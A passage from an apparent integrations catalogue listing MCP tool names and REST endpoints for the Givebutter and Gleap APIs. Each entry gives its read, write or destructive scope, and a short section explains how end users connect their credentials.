/api/v1/givebutter/v1/contacts/{contact}/activities. Scopes: api. givebutter_post_v1_contacts_by_contact_tags_add (write) — Add tags to a contact via POST /v1/contacts/{contact}/tags/add POST /api/v1/givebutter/v1/contacts/{contact}/tags/add. Scopes: api. givebutter_post_v1_contacts_by_contact_tags_remove (write) — Remove tags from a contact via POST /v1/contacts/{contact}/tags/remove POST /api/v1/givebutter/v1/contacts/{contact}/tags/remove. Scopes: api. givebutter_post_v1_contacts_by_contact_tags_sync (write) — Sync tags for a contact via POST /v1/contacts/{contact}/tags/sync POST /api/v1/givebutter/v1/contacts/{contact}/tags/sync. Scopes: api. givebutter_post_v1_funds (write) — Create a fund via POST /v1/funds POST /api/v1/givebutter/v1/funds. Scopes: api. givebutter_post_v1_households (write) — Create a household via POST /v1/households POST /api/v1/givebutter/v1/households. Scopes: api. givebutter_post_v1_households_by_household_contacts (write) — Add a contact to a household via POST /v1/households/{household}/contacts POST /api/v1/givebutter/v1/households/{household}/contacts. Scopes: api. givebutter_post_v1_transactions (write) — Create a transaction via POST /v1/transactions POST /api/v1/givebutter/v1/transactions. Scopes: api. givebutter_post_v1_webhooks (write) — Create a webhook via POST /v1/webhooks POST /api/v1/givebutter/v1/webhooks. Scopes: api. givebutter_put_v1_campaigns_by_campaign (write) — Update a campaign via PUT /v1/campaigns/{campaign} PUT /api/v1/givebutter/v1/campaigns/{campaign}. Scopes: api. givebutter_put_v1_campaigns_by_campaign_discount_codes_by_discountcode (write) — Update a discount code via PUT /v1/campaigns/{campaign}/discount-codes/{discountCode} PUT /api/v1/givebutter/v1/campaigns/{campaign}/discount-codes/{discountCode}. Scopes: api. givebutter_put_v1_contacts_by_contact (write) — Update a contact via PUT /v1/contacts/{contact} PUT /api/v1/givebutter/v1/contacts/{contact}. Scopes: api. givebutter_put_v1_contacts_by_contact_activities_by_activity (write) — Update a contact activity via PUT /v1/contacts/{contact}/activities/{activity} PUT /api/v1/givebutter/v1/contacts/{contact}/activities/{activity}. Scopes: api. givebutter_put_v1_funds_by_fund (write) — Update a fund via PUT /v1/funds/{fund} PUT /api/v1/givebutter/v1/funds/{fund}. Scopes: api. givebutter_put_v1_households_by_household (write) — Update a household via PUT /v1/households/{household} PUT /api/v1/givebutter/v1/households/{household}. Scopes: api. givebutter_put_v1_transactions_by_transaction (write) — Update a transaction via PUT /v1/transactions/{transaction} PUT /api/v1/givebutter/v1/transactions/{transaction}. Scopes: api. givebutter_put_v1_webhooks_by_webhook (write) — Update a webhook via PUT /v1/webhooks/{webhook} PUT /api/v1/givebutter/v1/webhooks/{webhook}. Scopes: api. ================================================================================ ## Gleap URL: https://www.agenticfabriq.com/integrations/gleap Section: Integrated Tools Gleap — 312 MCP tools Provider key: gleap. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. gleap_delete_aicontent_batch_by_batchid (write, destructive) — Delete AI content by batchId via DELETE /v3/aicontent/batch/{batchId} DELETE /api/v1/gleap/aicontent/batch/{batchId}. Scopes: api. gleap_delete_aicontent_by_contentid (write, destructive) — Delete AI content by contentId via DELETE /v3/aicontent/{contentId} DELETE /api/v1/gleap/aicontent/{contentId}. Scopes: api. gleap_delete_aicontent_oldbatches (write, destructive) — Delete old AI content batches via DELETE /v3/aicontent/oldbatches DELETE /api/v1/gleap/aicontent/oldbatches. Scopes: api. gleap_delete_companies_by_companyid (write, destructive) — Delete a company via DELETE /v3/companies/{companyId} DELETE /api/v1/gleap/companies/{companyId}. Scopes: api. gleap_delete_companies_by_companyid_members_by_sessionid (write, destructive) — Remove a company member via DELETE /v3/companies/{companyId}/members/{sessionId} DELETE /api/v1/gleap/companies/{companyId}/members/{sessionId}. Scopes: api. gleap_delete_custom_components_by_customcomponentid (write, destructive) — Delete a custom component via DELETE /v3/custom-components/{customComponentId} DELETE /api/v1/gleap/custom-components/{customComponentId}. Scopes: api. gleap_delete_engagement_banners_by_bannerid (write, destructive) — Delete a banner via DELETE /v3/engagement/banners/{bannerId} DELETE /api/v1/gleap/engagement/banners/{bannerId}. Scopes: api. gleap_delete_engagement_chat_messages_by_chatmessageid (write, destructive) — Delete a chat message via DELETE /v3/engagement/chat-messages/{chatMessageId} DELETE /api/v1/gleap/engagement/chat-messages/{chatMessageId}. Scopes: api. gleap_delete_engagement_checklists_by_checklistid (write, destructive) — Delete a checklist via DELETE /v3/engagement/checklists/{checklistId} DELETE /api/v1/gleap/engagement/checklists/{checklistId}. Scopes: api. gleap_delete_engagement_cobrowse_by_cobrowseproducttourid (write, destructive) — Delete a cobrowse product tour via DELETE /v3/engagement/cobrowse/{cobrowseProductTourId} DELETE /api/v1/gleap/engagement/cobrowse/{cobrowseProductTourId}. Scopes: api. gleap_delete_engagement_emails_by_engagementemailid (write, destructive) — Delete an email via DELETE /v3/engagement/emails/{engagementEmailId} DELETE /api/v1/gleap/engagement/emails/{engagementEmailId}. Scopes: api. gleap_delete_engagement_modals_by_modalid (write, destructive) — Delete a modal via DELETE /v3/engagement/modals/{modalId} DELETE /api/v1/gleap/engagement/modals/{modalId}. Scopes: api. gleap_delete_engagement_news_by_newsid (write, destructive) — Delete a news article via DELETE /v3/engagement/news/{newsId} DELETE /api/v1/gleap/engagement/news/{newsId}. Scopes: api. gleap_delete_engagement_product_tours_by_producttourid (write, destructive) — Delete a product tour via DELETE /v3/engagement/product-tours/{productTourId} DELETE /api/v1/gleap/engagement/product-tours/{productTourId}. Scopes: api. gleap_delete_engagement_push_notifications_by_pushnotificationid (write, destructive) — Delete a push notification via DELETE /v3/engagement/push-notifications/{pushNotificationId} DELETE /api/v1/gleap/engagement/push-notifications/{pushNotificationId}. Scopes: api. gleap_delete_engagement_surveys_by_surveyid (write, destructive) — Delete a survey via DELETE /v3/engagement/surveys/{surveyId} DELETE /api/v1/gleap/engagement/surveys/{surveyId}. Scopes: api. gleap_delete_engagement_tooltips_by_tooltipid (write, destructive) — Delete a tooltip via DELETE /v3/engagement/tooltips/{tooltipId} DELETE /api/v1/gleap/engagement/tooltips/{tooltipId}. Scopes: api. gleap_delete_engagement_whatsapp_messages_by_whatsappmessageid (write, destructive) — Delete a whatsapp message via DELETE /v3/engagement/whatsapp-messages/{whatsappMessageId} DELETE /api/v1/gleap/engagement/whatsapp-messages/{whatsappMessageId}. Scopes: api. gleap_delete_helpcenter_collections_by_helpcentercollectionid (write, destructive) — Delete a collection via DELETE /v3/helpcenter/collections/{helpcenterCollectionId} DELETE /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}. Scopes: api. gleap_delete_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid (write, destructive) — Delete an article via DELETE /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId} DELETE /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}. Scopes: api. gleap_delete_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid_draft (write, destructive) — Discard an article draft via DELETE /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/draft DELETE /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/draft. Scopes: api. gleap_delete_helpcenter_redirect_by_redirectid (write, destructive) — Delete a redirect via DELETE /v3/helpcenter-redirect/{redirectId} DELETE /api/v1/gleap/helpcenter-redirect/{redirectId}. Scopes: api. gleap_delete_invitations_by_invitationid (write, destructive) — Delete an invitation via DELETE /v3/invitations/{invitationId} DELETE /api/v1/gleap/invitations/{invitationId}. Scopes: api. gleap_delete_message_templates_by_messagetemplateid (write, destructive) — Delete a message template via DELETE /v3/message-templates/{messageTemplateId} DELETE /api/v1/gleap/message-templates/{messageTemplateId}. Scopes: api. gleap_delete_messages_by_messageid (write, destructive) — Delete a message via DELETE /v3/messages/{messageId} DELETE /api/v1/gleap/messages/{messageId}. Scopes: api. gleap_delete_pipeline_entries_by_entryid (write, destructive) — Remove an entry via DELETE /v3/pipeline-entries/{entryId} DELETE /api/v1/gleap/pipeline-entries/{entryId}. Scopes: api. gleap_delete_projects_users_by_userid (write, destructive) — Remove a member from a project via DELETE /v3/projects/users/{userId} DELETE /api/v1/gleap/projects/users/{userId}. Scopes: api. gleap_delete_s2s_contacts_by_userid (write, destructive) — Delete contact via DELETE /v3/s2s/contacts/{userId} DELETE /api/v1/gleap/s2s/contacts/{userId}. Scopes: api. gleap_delete_s2s_webhooks_by_webhookid (write, destructive) — Delete webhook via DELETE /v3/s2s/webhooks/{webhookId} DELETE /api/v1/gleap/s2s/webhooks/{webhookId}. Scopes: api. gleap_delete_sessions_by_sessionid (write, destructive) — Delete a session via DELETE /v3/sessions/{sessionId} DELETE /api/v1/gleap/sessions/{sessionId}. Scopes: api. gleap_delete_sessions_by_sessionid_memory (write, destructive) — Clear all contact memory entries via DELETE /v3/sessions/{sessionId}/memory DELETE /api/v1/gleap/sessions/{sessionId}/memory. Scopes: api. gleap_delete_sessions_by_sessionid_memory_by_entryname (write, destructive) — Delete a contact memory entry via DELETE /v3/sessions/{sessionId}/memory/{entryName} DELETE /api/v1/gleap/sessions/{sessionId}/memory/{entryName}. Scopes: api. gleap_delete_teams_by_teamid (write, destructive) — Delete a team via DELETE /v3/teams/{teamId} DELETE /api/v1/gleap/teams/{teamId}. Scopes: api. gleap_delete_tickets_by_ticketid (write, destructive) — Delete a ticket via DELETE /v3/tickets/{ticketId} DELETE /api/v1/gleap/tickets/{ticketId}. Scopes: api. gleap_delete_tickets_by_ticketid_draft_message (write, destructive) — Clear the composer draft message via DELETE /v3/tickets/{ticketId}/draft-message DELETE /api/v1/gleap/tickets/{ticketId}/draft-message. Scopes: api. gleap_delete_youtube_source_batch_by_batchid (write, destructive) — Delete YouTube batch content via DELETE /v3/youtube-source/batch/{batchId} DELETE /api/v1/gleap/youtube-source/batch/{batchId}. Scopes: api. gleap_delete_youtube_source_by_videoid (write, destructive) — Delete YouTube video content via DELETE /v3/youtube-source/{videoId} DELETE /api/v1/gleap/youtube-source/{videoId}. Scopes: api. gleap_get_ai_models (read) — Get AI model catalog via GET /v3/ai/models GET /api/v1/gleap/ai/models. Scopes: api. gleap_get_aicontent_by_contentid (read) — Get AI content by contentId via GET /v3/aicontent/{contentId} GET /api/v1/gleap/aicontent/{contentId}. Scopes: api. gleap_get_companies (read) — List companies via GET /v3/companies GET /api/v1/gleap/companies. Scopes: api. gleap_get_companies_by_companyid (read) — Get a company via GET /v3/companies/{companyId} GET /api/v1/gleap/companies/{companyId}. Scopes: api. gleap_get_companies_by_companyid_members (read) — Get company members via GET /v3/companies/{companyId}/members GET /api/v1/gleap/companies/{companyId}/members. Scopes: api. gleap_get_companies_by_companyid_tickets (read) — Get company conversations via GET /v3/companies/{companyId}/tickets GET /api/v1/gleap/companies/{companyId}/tickets. Scopes: api. gleap_get_companies_count (read) — Count companies via GET /v3/companies/count GET /api/v1/gleap/companies/count. Scopes: api. gleap_get_companies_search (read) — Search companies via GET /v3/companies/search GET /api/v1/gleap/companies/search. Scopes: api. gleap_get_custom_components (read) — Find all custom components via GET /v3/custom-components GET /api/v1/gleap/custom-components. Scopes: api. gleap_get_custom_components_by_customcomponentid (read) — Find one custom component via GET /v3/custom-components/{customComponentId} GET /api/v1/gleap/custom-components/{customComponentId}. Scopes: api. gleap_get_engagement_banners (read) — Get all banners via GET /v3/engagement/banners GET /api/v1/gleap/engagement/banners. Scopes: api. gleap_get_engagement_banners_by_bannerid (read) — Get a banner via GET /v3/engagement/banners/{bannerId} GET /api/v1/gleap/engagement/banners/{bannerId}. Scopes: api. gleap_get_engagement_chat_messages (read) — Get all chat messages via GET /v3/engagement/chat-messages GET /api/v1/gleap/engagement/chat-messages. Scopes: api. gleap_get_engagement_chat_messages_by_chatmessageid (read) — Get a chat message via GET /v3/engagement/chat-messages/{chatMessageId} GET /api/v1/gleap/engagement/chat-messages/{chatMessageId}. Scopes: api. gleap_get_engagement_checklists (read) — Get all checklists via GET /v3/engagement/checklists GET /api/v1/gleap/engagement/checklists. Scopes: api. gleap_get_engagement_checklists_by_checklistid (read) — Get a checklist via GET /v3/engagement/checklists/{checklistId} GET /api/v1/gleap/engagement/checklists/{checklistId}. Scopes: api. gleap_get_engagement_cobrowse (read) — Get all cobrowse product tours via GET /v3/engagement/cobrowse GET /api/v1/gleap/engagement/cobrowse. Scopes: api. gleap_get_engagement_cobrowse_by_cobrowseproducttourid (read) — Get a cobrowse product tour via GET /v3/engagement/cobrowse/{cobrowseProductTourId} GET /api/v1/gleap/engagement/cobrowse/{cobrowseProductTourId}. Scopes: api. gleap_get_engagement_emails (read) — Get all emails via GET /v3/engagement/emails GET /api/v1/gleap/engagement/emails. Scopes: api. gleap_get_engagement_emails_by_engagementemailid (read) — Get an email via GET /v3/engagement/emails/{engagementEmailId} GET /api/v1/gleap/engagement/emails/{engagementEmailId}. Scopes: api. gleap_get_engagement_modals (read) — Get all modals via GET /v3/engagement/modals GET /api/v1/gleap/engagement/modals. Scopes: api. gleap_get_engagement_modals_by_modalid (read) — Get a modal via GET /v3/engagement/modals/{modalId} GET /api/v1/gleap/engagement/modals/{modalId}. Scopes: api. gleap_get_engagement_news (read) — Get all engagement news articles via GET /v3/engagement/news GET /api/v1/gleap/engagement/news. Scopes: api. gleap_get_engagement_news_by_newsid (read) — Get an engagement news article via GET /v3/engagement/news/{newsId} GET /api/v1/gleap/engagement/news/{newsId}. Scopes: api. gleap_get_engagement_product_tours (read) — Get all product tours via GET /v3/engagement/product-tours GET /api/v1/gleap/engagement/product-tours. Scopes: api. gleap_get_engagement_product_tours_by_producttourid (read) — Get a product tour via GET /v3/engagement/product-tours/{productTourId} GET /api/v1/gleap/engagement/product-tours/{productTourId}. Scopes: api. gleap_get_engagement_push_notifications (read) — Get all push notifications via GET /v3/engagement/push-notifications GET /api/v1/gleap/engagement/push-notifications. Scopes: api. gleap_get_engagement_push_notifications_by_pushnotificationid (read) — Get a push notification via GET /v3/engagement/push-notifications/{pushNotificationId} GET /api/v1/gleap/engagement/push-notifications/{pushNotificationId}. Scopes: api. gleap_get_engagement_surveys (read) — Get all surveys via GET /v3/engagement/surveys GET /api/v1/gleap/engagement/surveys. Scopes: api. gleap_get_engagement_surveys_by_surveyid (read) — Get a survey via GET /v3/engagement/surveys/{surveyId} GET /api/v1/gleap/engagement/surveys/{surveyId}. Scopes: api. gleap_get_engagement_surveys_by_surveyid_responses (read) — Get all survey responses via GET /v3/engagement/surveys/{surveyId}/responses GET /api/v1/gleap/engagement/surveys/{surveyId}/responses. Scopes: api. gleap_get_engagement_surveys_by_surveyid_responses_export (read) — Export survey responses via GET /v3/engagement/surveys/{surveyId}/responses/export GET /api/v1/gleap/engagement/surveys/{surveyId}/responses/export. Scopes: api. gleap_get_engagement_surveys_by_surveyid_responses_samples (read) — Get survey response samples via GET /v3/engagement/surveys/{surveyId}/responses/samples GET /api/v1/gleap/engagement/surveys/{surveyId}/responses/samples. Scopes: api. gleap_get_engagement_surveys_by_surveyid_responses_summarize (read) — Summarize survey responses via GET /v3/engagement/surveys/{surveyId}/responses/summarize GET /api/v1/gleap/engagement/surveys/{surveyId}/responses/summarize. Scopes: api. gleap_get_engagement_tooltips (read) — Get all tooltips via GET /v3/engagement/tooltips GET /api/v1/gleap/engagement/tooltips. Scopes: api. gleap_get_engagement_tooltips_by_tooltipid (read) — Get a tooltip via GET /v3/engagement/tooltips/{tooltipId} GET /api/v1/gleap/engagement/tooltips/{tooltipId}. Scopes: api. gleap_get_engagement_whatsapp_messages (read) — Get all WhatsApp messages via GET /v3/engagement/whatsapp-messages GET /api/v1/gleap/engagement/whatsapp-messages. Scopes: api. gleap_get_engagement_whatsapp_messages_by_whatsappmessageid (read) — Get a whatsapp message via GET /v3/engagement/whatsapp-messages/{whatsappMessageId} GET /api/v1/gleap/engagement/whatsapp-messages/{whatsappMessageId}. Scopes: api. gleap_get_engagements_by_engagementid_activities (read) — Get engagement activities via GET /v3/engagements/{engagementId}/activities GET /api/v1/gleap/engagements/{engagementId}/activities. Scopes: api. gleap_get_engagements_by_engagementid_activities_count (read) — Get engagement activities count via GET /v3/engagements/{engagementId}/activities/count GET /api/v1/gleap/engagements/{engagementId}/activities/count. Scopes: api. gleap_get_engagements_by_engagementid_recipients (read) — Find engagement recipients via GET /v3/engagements/{engagementId}/recipients GET /api/v1/gleap/engagements/{engagementId}/recipients. Scopes: api. gleap_get_engagements_by_engagementid_recipients_export (read) — Export engagement recipients via GET /v3/engagements/{engagementId}/recipients/export GET /api/v1/gleap/engagements/{engagementId}/recipients/export. Scopes: api. gleap_get_engagements_by_engagementid_statistics (read) — Get engagement statistics via GET /v3/engagements/{engagementId}/statistics GET /api/v1/gleap/engagements/{engagementId}/statistics. Scopes: api. gleap_get_helpcenter_collections (read) — Get all collections via GET /v3/helpcenter/collections GET /api/v1/gleap/helpcenter/collections. Scopes: api. gleap_get_helpcenter_collections_all (read) — Get all collections with subcollections via GET /v3/helpcenter/collections/all GET /api/v1/gleap/helpcenter/collections/all. Scopes: api. gleap_get_helpcenter_collections_by_helpcentercollectionid (read) — Get a collection via GET /v3/helpcenter/collections/{helpcenterCollectionId} GET /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}. Scopes: api. gleap_get_helpcenter_collections_by_helpcentercollectionid_articles (read) — Get all articles via GET /v3/helpcenter/collections/{helpcenterCollectionId}/articles GET /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles. Scopes: api. gleap_get_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid (read) — Get an article via GET /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId} GET /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}. Scopes: api. gleap_get_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid_draft (read) — Get an article draft via GET /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/draft GET /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/draft. Scopes: api. gleap_get_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid_versions (read) — List article versions via GET /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/versions GET /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/versions. Scopes: api. gleap_get_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid_versions_by_versionid (read) — Get an article version via GET /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/versions/{versionId} GET /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/versions/{versionId}. Scopes: api. gleap_get_helpcenter_collections_stats (read) — Get article stats via GET /v3/helpcenter/collections/stats GET /api/v1/gleap/helpcenter/collections/stats. Scopes: api. gleap_get_helpcenter_redirect (read) — Find all redirects via GET /v3/helpcenter-redirect GET /api/v1/gleap/helpcenter-redirect. Scopes: api. gleap_get_invitations (read) — Get all invitations for a user via GET /v3/invitations GET /api/v1/gleap/invitations. Scopes: api. gleap_get_invitations_organisations_by_organisationid (read) — Get all invitations for an organisation via GET /v3/invitations/organisations/{organisationId} GET /api/v1/gleap/invitations/organisations/{organisationId}. Scopes: api. gleap_get_invitations_projects (read) — Get all invitations for a project via GET /v3/invitations/projects GET /api/v1/gleap/invitations/projects. Scopes: api. gleap_get_knowledge_content_tags (read) — Get content tags in use via GET /v3/knowledge/content-tags GET /api/v1/gleap/knowledge/content-tags. Scopes: api. gleap_get_message_templates (read) — Find all message templates via GET /v3/message-templates GET /api/v1/gleap/message-templates. Scopes: api. gleap_get_message_templates_by_messagetemplateid (read) — Find a message template via GET /v3/message-templates/{messageTemplateId} GET /api/v1/gleap/message-templates/{messageTemplateId}. Scopes: api. gleap_get_message_templates_tags (read) — List all message template tags via GET /v3/message-templates/tags GET /api/v1/gleap/message-templates/tags. Scopes: api. gleap_get_messages (read) — Find messages by query via GET /v3/messages GET /api/v1/gleap/messages. Scopes: api. gleap_get_messages_by_messageid_thread (read) — Get thread messages via GET /v3/messages/{messageId}/thread GET /api/v1/gleap/messages/{messageId}/thread. Scopes: api. gleap_get_messages_search (read) — Search messages via GET /v3/messages/search GET /api/v1/gleap/messages/search. Scopes: api. gleap_get_pipeline_entries_by_entryid (read) — Get an entry via GET /v3/pipeline-entries/{entryId} GET /api/v1/gleap/pipeline-entries/{entryId}. Scopes: api. gleap_get_pipelines (read) — List pipelines via GET /v3/pipelines GET /api/v1/gleap/pipelines. Scopes: api. gleap_get_pipelines_by_pipelineid (read) — Get a pipeline via GET /v3/pipelines/{pipelineId} GET /api/v1/gleap/pipelines/{pipelineId}. Scopes: api. gleap_get_pipelines_by_pipelineid_entries (read) — List entries of a stage via GET /v3/pipelines/{pipelineId}/entries GET /api/v1/gleap/pipelines/{pipelineId}/entries. Scopes: api. gleap_get_pipelines_by_pipelineid_properties (read) — List pipeline fields via GET /v3/pipelines/{pipelineId}/properties GET /api/v1/gleap/pipelines/{pipelineId}/properties. Scopes: api. gleap_get_projects_users (read) — Get all users for a project via GET /v3/projects/users GET /api/v1/gleap/projects/users. Scopes: api. gleap_get_s2s_contacts_by_userid (read) — Get contact via GET /v3/s2s/contacts/{userId} GET /api/v1/gleap/s2s/contacts/{userId}. Scopes: api. gleap_get_s2s_contacts_by_userid_conversations (read) — List contact conversations via GET /v3/s2s/contacts/{userId}/conversations GET /api/v1/gleap/s2s/contacts/{userId}/conversations. Scopes: api. gleap_get_s2s_conversations_by_conversationid (read) — Get conversation via GET /v3/s2s/conversations/{conversationId} GET /api/v1/gleap/s2s/conversations/{conversationId}. Scopes: api. gleap_get_s2s_conversations_by_conversationid_messages (read) — List messages via GET /v3/s2s/conversations/{conversationId}/messages GET /api/v1/gleap/s2s/conversations/{conversationId}/messages. Scopes: api. gleap_get_s2s_conversations_by_conversationid_workflow (read) — Get pending workflow step via GET /v3/s2s/conversations/{conversationId}/workflow GET /api/v1/gleap/s2s/conversations/{conversationId}/workflow. Scopes: api. gleap_get_s2s_messages_by_messageid (read) — Get message via GET /v3/s2s/messages/{messageId} GET /api/v1/gleap/s2s/messages/{messageId}. Scopes: api. gleap_get_s2s_stream_config (read) — Get stream config via GET /v3/s2s/stream/config GET /api/v1/gleap/s2s/stream/config. Scopes: api. gleap_get_s2s_webhooks (read) — List webhooks via GET /v3/s2s/webhooks GET /api/v1/gleap/s2s/webhooks. Scopes: api. gleap_get_s2s_workflows (read) — List workflows via GET /v3/s2s/workflows GET /api/v1/gleap/s2s/workflows. Scopes: api. gleap_get_sessions (read) — Get all sessions via GET /v3/sessions GET /api/v1/gleap/sessions. Scopes: api. gleap_get_sessions_by_sessionid (read) — Get a session via GET /v3/sessions/{sessionId} GET /api/v1/gleap/sessions/{sessionId}. Scopes: api. gleap_get_sessions_by_sessionid_activities (read) — Get session activities via GET /v3/sessions/{sessionId}/activities GET /api/v1/gleap/sessions/{sessionId}/activities. Scopes: api. gleap_get_sessions_by_sessionid_chargebee (read) — Get session Chargebee info via GET /v3/sessions/{sessionId}/chargebee GET /api/v1/gleap/sessions/{sessionId}/chargebee. Scopes: api. gleap_get_sessions_by_sessionid_checklists (read) — Get session checklists via GET /v3/sessions/{sessionId}/checklists GET /api/v1/gleap/sessions/{sessionId}/checklists. Scopes: api. gleap_get_sessions_by_sessionid_events (read) — Get session events via GET /v3/sessions/{sessionId}/events GET /api/v1/gleap/sessions/{sessionId}/events. Scopes: api. gleap_get_sessions_by_sessionid_identity_history (read) — Get session identity history via GET /v3/sessions/{sessionId}/identity-history GET /api/v1/gleap/sessions/{sessionId}/identity-history. Scopes: api. gleap_get_sessions_by_sessionid_lemonsqueezy (read) — Get session LemonSqueezy info via GET /v3/sessions/{sessionId}/lemonsqueezy GET /api/v1/gleap/sessions/{sessionId}/lemonsqueezy. Scopes: api. gleap_get_sessions_by_sessionid_memory (read) — List contact memory entries via GET /v3/sessions/{sessionId}/memory GET /api/v1/gleap/sessions/{sessionId}/memory. Scopes: api. gleap_get_sessions_by_sessionid_memory_by_entryname (read) — Get one contact memory entry via GET /v3/sessions/{sessionId}/memory/{entryName} GET /api/v1/gleap/sessions/{sessionId}/memory/{entryName}. Scopes: api. gleap_get_sessions_by_sessionid_shopify (read) — Get session Shopify info via GET /v3/sessions/{sessionId}/shopify GET /api/v1/gleap/sessions/{sessionId}/shopify. Scopes: api. gleap_get_sessions_by_sessionid_stripe (read) — Get session Stripe info via GET /v3/sessions/{sessionId}/stripe GET /api/v1/gleap/sessions/{sessionId}/stripe. Scopes: api. gleap_get_sessions_by_user_id_by_userid (read) — Get a session by user id via GET /v3/sessions/by-user-id/{userId} GET /api/v1/gleap/sessions/by-user-id/{userId}. Scopes: api. gleap_get_sessions_export (read) — Export sessions via GET /v3/sessions/export GET /api/v1/gleap/sessions/export. Scopes: api. gleap_get_sessions_search (read) — Search for sessions via GET /v3/sessions/search GET /api/v1/gleap/sessions/search. Scopes: api. gleap_get_shared_helpcenter_answer (read) — Answer help center question via GET /v3/shared/helpcenter/answer GET /api/v1/gleap/shared/helpcenter/answer. Scopes: api. gleap_get_shared_helpcenter_search (read) — Search help center articles via GET /v3/shared/helpcenter/search GET /api/v1/gleap/shared/helpcenter/search. Scopes: api. gleap_get_shared_helpcenter_sources (read) — Get help center sources via GET /v3/shared/helpcenter/sources GET /api/v1/gleap/shared/helpcenter/sources. Scopes: api. gleap_get_statistics_bar_chart (read) — Get bar chart data for various statistics via GET /v3/statistics/bar-chart GET /api/v1/gleap/statistics/bar-chart. Scopes: api. gleap_get_statistics_email_client_bounces (read) — Get email client bounce statistics. Pass `outboundId` (query) to restrict the statistics to a single via GET /v3/statistics/email-client-bounces GET /api/v1/gleap/statistics/email-client-bounces. Scopes: api. gleap_get_statistics_email_client_usage (read) — Get email client usage statistics. Pass `outboundId` (query) to restrict the statistics to a single via GET /v3/statistics/email-client-usage GET /api/v1/gleap/statistics/email-client-usage. Scopes: api. gleap_get_statistics_email_overview (read) — Get email overview statistics. Pass `outboundId` (query) to restrict the statistics to a single outbound via GET /v3/statistics/email-overview GET /api/v1/gleap/statistics/email-overview. Scopes: api. gleap_get_statistics_facts (read) — Get fact data for various statistics via GET /v3/statistics/facts GET /api/v1/gleap/statistics/facts. Scopes: api. gleap_get_statistics_heatmap (read) — Get heatmap data for activity patterns via GET /v3/statistics/heatmap GET /api/v1/gleap/statistics/heatmap. Scopes: api. gleap_get_statistics_lists (read) — Get list data for various statistics via GET /v3/statistics/lists GET /api/v1/gleap/statistics/lists. Scopes: api. gleap_get_statistics_lists_export (read) — Export list data as CSV. Returns a UTF-8 CSV file as an attachment (`Content-Disposition: attachment`), via GET /v3/statistics/lists/export GET /api/v1/gleap/statistics/lists/export. Scopes: api. gleap_get_statistics_raw_data (read) — Get raw statistics data. Filterable fields: `actionType` (e.g. `HOME_MENU_CLICK`), `resourceType` via GET /v3/statistics/raw-data GET /api/v1/gleap/statistics/raw-data. Scopes: api. gleap_get_teams (read) — Get all teams via GET /v3/teams GET /api/v1/gleap/teams. Scopes: api. gleap_get_tickets (read) — Get all tickets via GET /v3/tickets GET /api/v1/gleap/tickets. Scopes: api. gleap_get_tickets_by_session_query (read) — Find tickets by session query via GET /v3/tickets/by-session-query GET /api/v1/gleap/tickets/by-session-query. Scopes: api. gleap_get_tickets_by_ticketid (read) — Get a ticket via GET /v3/tickets/{ticketId} GET /api/v1/gleap/tickets/{ticketId}. Scopes: api. gleap_get_tickets_by_ticketid_activity_logs (read) — Get activity logs for a ticket via GET /v3/tickets/{ticketId}/activity-logs GET /api/v1/gleap/tickets/{ticketId}/activity-logs. Scopes: api. gleap_get_tickets_by_ticketid_audit_export (read) — Export a single ticket for audit via GET /v3/tickets/{ticketId}/audit-export GET /api/v1/gleap/tickets/{ticketId}/audit-export. Scopes: api. gleap_get_tickets_by_ticketid_console_logs (read) — Get console logs for a ticket via GET /v3/tickets/{ticketId}/console-logs GET /api/v1/gleap/tickets/{ticketId}/console-logs. Scopes: api. gleap_get_tickets_by_ticketid_history (read) — Get the internal history of a ticket via GET /v3/tickets/{ticketId}/history GET /api/v1/gleap/tickets/{ticketId}/history. Scopes: api. gleap_get_tickets_by_ticketid_network_logs (read) — Get network logs for a ticket via GET /v3/tickets/{ticketId}/network-logs GET /api/v1/gleap/tickets/{ticketId}/network-logs. Scopes: api. gleap_get_tickets_by_ticketid_replay (read) — Get the session replay for a ticket via GET /v3/tickets/{ticketId}/replay GET /api/v1/gleap/tickets/{ticketId}/replay. Scopes: api. gleap_get_tickets_csv_export (read) — Export tickets as CSV via GET /v3/tickets/csv-export GET /api/v1/gleap/tickets/csv-export. Scopes: api. gleap_get_tickets_export (read) — Export tickets as JSON via GET /v3/tickets/export GET /api/v1/gleap/tickets/export. Scopes: api. gleap_get_tickets_export_fields (read) — List available export fields via GET /v3/tickets/export-fields GET /api/v1/gleap/tickets/export-fields. Scopes: api. gleap_get_tickets_extendedsearch (read) — Extended ticket search (contacts + tickets) via GET /v3/tickets/extendedsearch GET /api/v1/gleap/tickets/extendedsearch. Scopes: api. gleap_get_tickets_notification_by_sharetoken (read) — Get notification ticket via GET /v3/tickets/notification/{shareToken} GET /api/v1/gleap/tickets/notification/{shareToken}. Scopes: api. 